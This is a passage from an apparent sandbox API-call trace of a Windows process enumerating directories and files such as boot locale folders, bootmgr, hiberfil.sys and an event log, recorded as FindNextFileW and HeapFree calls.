ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0101.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.482] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0101.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.482] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0101.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.482] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0101.484] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.484] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0101.484] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.484] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0101.484] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.484] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0101.484] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0101.485] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0101.485] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0101.485] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.485] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0101.486] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0101.486] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0101.486] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0101.486] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.486] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0101.487] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0101.487] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0101.487] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.487] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0101.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.488] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0101.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.488] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0101.490] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.490] FindNextFileW (in: hFindFile=0x3e50140, lpFindFileData=0x349f800 | out: lpFindFileData=0x349f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0101.490] FindClose (in: hFindFile=0x3e50140 | out: hFindFile=0x3e50140) returned 1 [0101.490] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x38c1270 | out: hHeap=0x4b0000) returned 1 [0101.490] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0101.490] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.491] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0101.491] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.491] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0101.491] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.492] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0101.492] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.492] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0101.492] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.492] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0101.493] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.493] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0101.494] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.494] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0101.494] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.494] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0101.495] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.495] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef6c9427, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef6c9427, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="updaterevokesipolicy.p7b", cAlternateFileName="UPDATE~1.P7B")) returned 1 [0101.496] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.496] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0207675, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x518ea25e, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0101.496] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.496] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0101.499] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e73f20 | out: hHeap=0x4b0000) returned 1 [0101.499] FindNextFileW (in: hFindFile=0x3e500c0, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6e6901, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6e6901, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0101.499] FindClose (in: hFindFile=0x3e500c0 | out: hFindFile=0x3e500c0) returned 1 [0101.499] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0101.500] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xe47a48a8, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfb90936b, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0x607da, dwReserved0=0x77970000, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0101.502] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0101.502] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c2b2eaf, ftCreationTime.dwHighDateTime=0x1d32718, ftLastAccessTime.dwLowDateTime=0xc1969407, ftLastAccessTime.dwHighDateTime=0x1d327d0, ftLastWriteTime.dwLowDateTime=0xc1969407, ftLastWriteTime.dwHighDateTime=0x1d327d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ESD", cAlternateFileName="")) returned 1 [0101.505] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0101.505] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab460c6f, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0104.269] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0104.294] FindNextFileW (in: hFindFile=0x3e50180, lpFindFileData=0x349fa7c | out: lpFindFileData=0x349fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5052fa31, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5052fa31, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Application.evtx", cAlternateFileName="APPLIC~1.EVT")) returned 1 [0104.302] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3e61060 | out: hHeap=0x4b0000) returned 1 [0104.302] FindNextFileW (in: hFindFile=0x3e50800, lpFindFileData=0x349fcf8 | out: lpFindFileData=0x349fcf8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0xaced8ceb, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, 